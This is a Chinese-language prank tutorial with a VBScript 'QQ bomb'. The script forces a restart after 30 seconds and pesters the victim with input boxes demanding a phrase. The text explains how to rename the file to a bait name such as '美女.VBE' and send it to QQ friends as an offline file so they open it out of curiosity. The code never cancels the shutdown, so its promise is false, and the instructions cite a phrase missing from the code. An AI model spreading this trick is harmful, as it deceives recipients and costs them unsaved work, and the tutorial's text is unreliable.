on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快說潮流哥特，不說就30秒關妳機，不信，試試···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("說潮流哥特,不然就不關機，快撒，說 ""潮流哥特"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以隨便改，不印象效果。如果發給MM，妳可以逼她說“我愛妳”。方法是把上面的“QQ客是好網站”改成“快說我愛妳” 內容來自
第二步，將記事本文件重命名為 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果誰運行了這個QQ炸彈，在30秒後會自動關機。
下面說壹下使用方法：
最簡單的使用方法是，妳直接發給好友，讓他運行，然後他就中招了。
還有個更加惡毒的，不在線的QQ好友妳可以向他們發送QQ離線文件，幾乎80%的人都會好奇這個文件是什麽，糊裏糊塗就打開了。 打開以後就被QQ炸彈惡搞了
妳自己也可以測試壹下這個QQ炸彈的威力。